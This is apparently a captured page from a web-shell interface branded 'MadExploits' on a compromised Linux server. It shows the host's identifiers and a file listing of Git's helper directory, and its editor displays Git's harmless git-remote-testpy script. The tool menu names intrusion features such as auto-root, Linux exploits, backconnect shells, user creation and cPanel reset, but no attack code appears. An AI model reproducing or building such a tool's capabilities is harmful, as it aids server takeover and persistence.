Linux ip-148-66-134-25.ip.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els10.x86_64 #1 SMP Fri Oct 11 21:40:41 UTC 2024 x86_64
Apache
: 148.66.134.25 | : 3.145.180.152
66 Domain
8.0.30
amvm
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
libexec /
git-core /
[ HOME SHELL ]
Name
Size
Permission
Action
mergetools
[ DIR ]
drwxr-xr-x
git
1.46
MB
-rwxr-xr-x
git-add
1.46
MB
-rwxr-xr-x
git-add--interactive
35.8
KB
-rwxr-xr-x
git-am
21.84
KB
-rwxr-xr-x
git-annotate
1.46
MB
-rwxr-xr-x
git-apply
1.46
MB
-rwxr-xr-x
git-archive
1.46
MB
-rwxr-xr-x
git-bisect
11.71
KB
-rwxr-xr-x
git-bisect--helper
1.46
MB
-rwxr-xr-x
git-blame
1.46
MB
-rwxr-xr-x
git-branch
1.46
MB
-rwxr-xr-x
git-bundle
1.46
MB
-rwxr-xr-x
git-cat-file
1.46
MB
-rwxr-xr-x
git-check-attr
1.46
MB
-rwxr-xr-x
git-check-ignore
1.46
MB
-rwxr-xr-x
git-check-ref-format
1.46
MB
-rwxr-xr-x
git-checkout
1.46
MB
-rwxr-xr-x
git-checkout-index
1.46
MB
-rwxr-xr-x
git-cherry
1.46
MB
-rwxr-xr-x
git-cherry-pick
1.46
MB
-rwxr-xr-x
git-clean
1.46
MB
-rwxr-xr-x
git-clone
1.46
MB
-rwxr-xr-x
git-column
1.46
MB
-rwxr-xr-x
git-commit
1.46
MB
-rwxr-xr-x
git-commit-tree
1.46
MB
-rwxr-xr-x
git-config
1.46
MB
-rwxr-xr-x
git-count-objects
1.46
MB
-rwxr-xr-x
git-credential
1.46
MB
-rwxr-xr-x
git-credential-cache
717.83
KB
-rwxr-xr-x
git-credential-cache--daemon
730.32
KB
-rwxr-xr-x
git-credential-store
726.01
KB
-rwxr-xr-x
git-describe
1.46
MB
-rwxr-xr-x
git-diff
1.46
MB
-rwxr-xr-x
git-diff-files
1.46
MB
-rwxr-xr-x
git-diff-index
1.46
MB
-rwxr-xr-x
git-diff-tree
1.46
MB
-rwxr-xr-x
git-difftool
13.41
KB
-rwxr-xr-x
git-difftool--helper
1.86
KB
-rwxr-xr-x
git-fast-export
1.46
MB
-rwxr-xr-x
git-fast-import
754.91
KB
-rwxr-xr-x
git-fetch
1.46
MB
-rwxr-xr-x
git-fetch-pack
1.46
MB
-rwxr-xr-x
git-filter-branch
11.33
KB
-rwxr-xr-x
git-fmt-merge-msg
1.46
MB
-rwxr-xr-x
git-for-each-ref
1.46
MB
-rwxr-xr-x
git-format-patch
1.46
MB
-rwxr-xr-x
git-fsck
1.46
MB
-rwxr-xr-x
git-fsck-objects
1.46
MB
-rwxr-xr-x
git-gc
1.46
MB
-rwxr-xr-x
git-get-tar-commit-id
1.46
MB
-rwxr-xr-x
git-grep
1.46
MB
-rwxr-xr-x
git-hash-object
1.46
MB
-rwxr-xr-x
git-help
1.46
MB
-rwxr-xr-x
git-http-backend
730.63
KB
-rwxr-xr-x
git-http-fetch
816.54
KB
-rwxr-xr-x
git-http-push
832.82
KB
-rwxr-xr-x
git-imap-send
738.79
KB
-rwxr-xr-x
git-index-pack
1.46
MB
-rwxr-xr-x
git-init
1.46
MB
-rwxr-xr-x
git-init-db
1.46
MB
-rwxr-xr-x
git-log
1.46
MB
-rwxr-xr-x
git-lost-found
554
B
-rwxr-xr-x
git-ls-files
1.46
MB
-rwxr-xr-x
git-ls-remote
1.46
MB
-rwxr-xr-x
git-ls-tree
1.46
MB
-rwxr-xr-x
git-mailinfo
1.46
MB
-rwxr-xr-x
git-mailsplit
1.46
MB
-rwxr-xr-x
git-merge
1.46
MB
-rwxr-xr-x
git-merge-base
1.46
MB
-rwxr-xr-x
git-merge-file
1.46
MB
-rwxr-xr-x
git-merge-index
1.46
MB
-rwxr-xr-x
git-merge-octopus
2.16
KB
-rwxr-xr-x
git-merge-one-file
3.4
KB
-rwxr-xr-x
git-merge-ours
1.46
MB
-rwxr-xr-x
git-merge-recursive
1.46
MB
-rwxr-xr-x
git-merge-resolve
944
B
-rwxr-xr-x
git-merge-subtree
1.46
MB
-rwxr-xr-x
git-merge-tree
1.46
MB
-rwxr-xr-x
git-mergetool
8.18
KB
-rwxr-xr-x
git-mergetool--lib
7.6
KB
-rw-r--r--
git-mktag
1.46
MB
-rwxr-xr-x
git-mktree
1.46
MB
-rwxr-xr-x
git-mv
1.46
MB
-rwxr-xr-x
git-name-rev
1.46
MB
-rwxr-xr-x
git-notes
1.46
MB
-rwxr-xr-x
git-pack-objects
1.46
MB
-rwxr-xr-x
git-pack-redundant
1.46
MB
-rwxr-xr-x
git-pack-refs
1.46
MB
-rwxr-xr-x
git-parse-remote
2.13
KB
-rw-r--r--
git-patch-id
1.46
MB
-rwxr-xr-x
git-peek-remote
1.46
MB
-rwxr-xr-x
git-prune
1.46
MB
-rwxr-xr-x
git-prune-packed
1.46
MB
-rwxr-xr-x
git-pull
7.68
KB
-rwxr-xr-x
git-push
1.46
MB
-rwxr-xr-x
git-quiltimport
3.27
KB
-rwxr-xr-x
git-read-tree
1.46
MB
-rwxr-xr-x
git-rebase
13.26
KB
-rwxr-xr-x
git-rebase--am
1.43
KB
-rw-r--r--
git-rebase--interactive
25.09
KB
-rw-r--r--
git-rebase--merge
3.01
KB
-rw-r--r--
git-receive-pack
1.46
MB
-rwxr-xr-x
git-reflog
1.46
MB
-rwxr-xr-x
git-relink
4.09
KB
-rwxr-xr-x
git-remote
1.46
MB
-rwxr-xr-x
git-remote-ext
1.46
MB
-rwxr-xr-x
git-remote-fd
1.46
MB
-rwxr-xr-x
git-remote-ftp
824.59
KB
-rwxr-xr-x
git-remote-ftps
824.59
KB
-rwxr-xr-x
git-remote-http
824.59
KB
-rwxr-xr-x
git-remote-https
824.59
KB
-rwxr-xr-x
git-remote-testpy
7.26
KB
-rwxr-xr-x
git-repack
4.87
KB
-rwxr-xr-x
git-replace
1.46
MB
-rwxr-xr-x
git-repo-config
1.46
MB
-rwxr-xr-x
git-request-pull
3.57
KB
-rwxr-xr-x
git-rerere
1.46
MB
-rwxr-xr-x
git-reset
1.46
MB
-rwxr-xr-x
git-rev-list
1.46
MB
-rwxr-xr-x
git-rev-parse
1.46
MB
-rwxr-xr-x
git-revert
1.46
MB
-rwxr-xr-x
git-rm
1.46
MB
-rwxr-xr-x
git-send-pack
1.46
MB
-rwxr-xr-x
git-sh-i18n
1.92
KB
-rw-r--r--
git-sh-i18n--envsubst
24.16
KB
-rwxr-xr-x
git-sh-setup
6.32
KB
-rw-r--r--
git-shell
722.04
KB
-rwxr-xr-x
git-shortlog
1.46
MB
-rwxr-xr-x
git-show
1.46
MB
-rwxr-xr-x
git-show-branch
1.46
MB
-rwxr-xr-x
git-show-index
717.8
KB
-rwxr-xr-x
git-show-ref
1.46
MB
-rwxr-xr-x
git-stage
1.46
MB
-rwxr-xr-x
git-stash
12.61
KB
-rwxr-xr-x
git-status
1.46
MB
-rwxr-xr-x
git-stripspace
1.46
MB
-rwxr-xr-x
git-submodule
30.31
KB
-rwxr-xr-x
git-submodule--helper
1.46
MB
-rwxr-xr-x
git-subtree
15.08
KB
-rwxr-xr-x
git-symbolic-ref
1.46
MB
-rwxr-xr-x
git-tag
1.46
MB
-rwxr-xr-x
git-tar-tree
1.46
MB
-rwxr-xr-x
git-unpack-file
1.46
MB
-rwxr-xr-x
git-unpack-objects
1.46
MB
-rwxr-xr-x
git-update-index
1.46
MB
-rwxr-xr-x
git-update-ref
1.46
MB
-rwxr-xr-x
git-update-server-info
1.46
MB
-rwxr-xr-x
git-upload-archive
1.46
MB
-rwxr-xr-x
git-upload-pack
795.48
KB
-rwxr-xr-x
git-var
1.46
MB
-rwxr-xr-x
git-verify-pack
1.46
MB
-rwxr-xr-x
git-verify-tag
1.46
MB
-rwxr-xr-x
git-web--browse
4.12
KB
-rwxr-xr-x
git-whatchanged
1.46
MB
-rwxr-xr-x
git-write-tree
1.46
MB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : git-remote-testpy
#!/usr/bin/python # This command is a simple remote-helper, that is used both as a # testcase for the remote-helper functionality, and as an example to # show remote-helper authors one possible implementation. # # This is a Git <-> Git importer/exporter, that simply uses git # fast-import and git fast-export to consume and produce fast-import # streams. # # To understand better the way things work, one can activate debug # traces by setting (to any value) the environment variables # GIT_TRANSPORT_HELPER_DEBUG and GIT_DEBUG_TESTGIT, to see messages # from the transport-helper side, or from this example remote-helper. # hashlib is only available in python >= 2.5 try: import hashlib _digest = hashlib.sha1 except ImportError: import sha _digest = sha.new import sys import os import time sys.path.insert(0, os.getenv("GITPYTHONLIB","/usr/lib/python2.7/site-packages")) from git_remote_helpers.util import die, debug, warn from git_remote_helpers.git.repo import GitRepo from git_remote_helpers.git.exporter import GitExporter from git_remote_helpers.git.importer import GitImporter from git_remote_helpers.git.non_local import NonLocalGit if sys.hexversion < 0x02000000: # string.encode() is the limiter sys.stderr.write("git-remote-testgit: requires Python 2.0 or later.\n") sys.exit(1) def encode_filepath(path): """Encodes a Unicode file path to a byte string. On Python 2 this is a no-op; on Python 3 we encode the string as suggested by [1] which allows an exact round-trip from the command line to the filesystem. [1] http://docs.python.org/3/c-api/unicode.html#file-system-encoding """ if sys.hexversion < 0x03000000: return path return path.encode(sys.getfilesystemencoding(), 'surrogateescape') def get_repo(alias, url): """Returns a git repository object initialized for usage. """ repo = GitRepo(url) repo.get_revs() repo.get_head() hasher = _digest() hasher.update(encode_filepath(repo.path)) repo.hash = hasher.hexdigest() repo.get_base_path = lambda base: os.path.join( base, 'info', 'fast-import', repo.hash) prefix = 'refs/testgit/%s/' % alias debug("prefix: '%s'", prefix) repo.gitdir = os.environ["GIT_DIR"] repo.alias = alias repo.prefix = prefix repo.exporter = GitExporter(repo) repo.importer = GitImporter(repo) repo.non_local = NonLocalGit(repo) return repo def local_repo(repo, path): """Returns a git repository object initalized for usage. """ local = GitRepo(path) local.non_local = None local.gitdir = repo.gitdir local.alias = repo.alias local.prefix = repo.prefix local.hash = repo.hash local.get_base_path = repo.get_base_path local.exporter = GitExporter(local) local.importer = GitImporter(local) return local def do_capabilities(repo, args): """Prints the supported capabilities. """ print("import") print("export") print("refspec refs/heads/*:%s*" % repo.prefix) dirname = repo.get_base_path(repo.gitdir) if not os.path.exists(dirname): os.makedirs(dirname) path = os.path.join(dirname, 'git.marks') print("*export-marks %s" % path) if os.path.exists(path): print("*import-marks %s" % path) print('') # end capabilities def do_list(repo, args): """Lists all known references. Bug: This will always set the remote head to master for non-local repositories, since we have no way of determining what the remote head is at clone time. """ for ref in repo.revs: debug("? refs/heads/%s", ref) print("? refs/heads/%s" % ref) if repo.head: debug("@refs/heads/%s HEAD" % repo.head) print("@refs/heads/%s HEAD" % repo.head) else: debug("@refs/heads/master HEAD") print("@refs/heads/master HEAD") print('') # end list def update_local_repo(repo): """Updates (or clones) a local repo. """ if repo.local: return repo path = repo.non_local.clone(repo.gitdir) repo.non_local.update(repo.gitdir) repo = local_repo(repo, path) return repo def do_import(repo, args): """Exports a fast-import stream from testgit for git to import. """ if len(args) != 1: die("Import needs exactly one ref") if not repo.gitdir: die("Need gitdir to import") ref = args[0] refs = [ref] while True: line = sys.stdin.readline().decode() if line == '\n': break if not line.startswith('import '): die("Expected import line.") # strip of leading 'import ' ref = line[7:].strip() refs.append(ref) print("feature done") if os.environ.get("GIT_REMOTE_TESTGIT_FAILURE"): die('Told to fail') repo = update_local_repo(repo) repo.exporter.export_repo(repo.gitdir, refs) print("done") def do_export(repo, args): """Imports a fast-import stream from git to testgit. """ if not repo.gitdir: die("Need gitdir to export") if os.environ.get("GIT_REMOTE_TESTGIT_FAILURE"): die('Told to fail') update_local_repo(repo) changed = repo.importer.do_import(repo.gitdir) if not repo.local: repo.non_local.push(repo.gitdir) for ref in changed: print("ok %s" % ref) print('') COMMANDS = { 'capabilities': do_capabilities, 'list': do_list, 'import': do_import, 'export': do_export, } def sanitize(value): """Cleans up the url. """ if value.startswith('testgit::'): value = value[9:] return value def read_one_line(repo): """Reads and processes one command. """ sleepy = os.environ.get("GIT_REMOTE_TESTGIT_SLEEPY") if sleepy: debug("Sleeping %d sec before readline" % int(sleepy)) time.sleep(int(sleepy)) line = sys.stdin.readline() cmdline = line.decode() if not cmdline: warn("Unexpected EOF") return False cmdline = cmdline.strip().split() if not cmdline: # Blank line means we're about to quit return False cmd = cmdline.pop(0) debug("Got command '%s' with args '%s'", cmd, ' '.join(cmdline)) if cmd not in COMMANDS: die("Unknown command, %s", cmd) func = COMMANDS[cmd] func(repo, cmdline) sys.stdout.flush() return True def main(args): """Starts a new remote helper for the specified repository. """ if len(args) != 3: die("Expecting exactly three arguments.") sys.exit(1) if os.getenv("GIT_DEBUG_TESTGIT"): import git_remote_helpers.util git_remote_helpers.util.DEBUG = True alias = sanitize(args[1]) url = sanitize(args[2]) if not alias.isalnum(): warn("non-alnum alias '%s'", alias) alias = "tmp" args[1] = alias args[2] = url repo = get_repo(alias, url) debug("Got arguments %s", args[1:]) more = True # Use binary mode since Python 3 does not permit unbuffered I/O in text # mode. Unbuffered I/O is required to avoid data that should be going # to git-fast-import after an "export" command getting caught in our # stdin buffer instead. sys.stdin = os.fdopen(sys.stdin.fileno(), 'rb', 0) while (more): more = read_one_line(repo) if __name__ == '__main__': sys.exit(main(sys.argv))
Close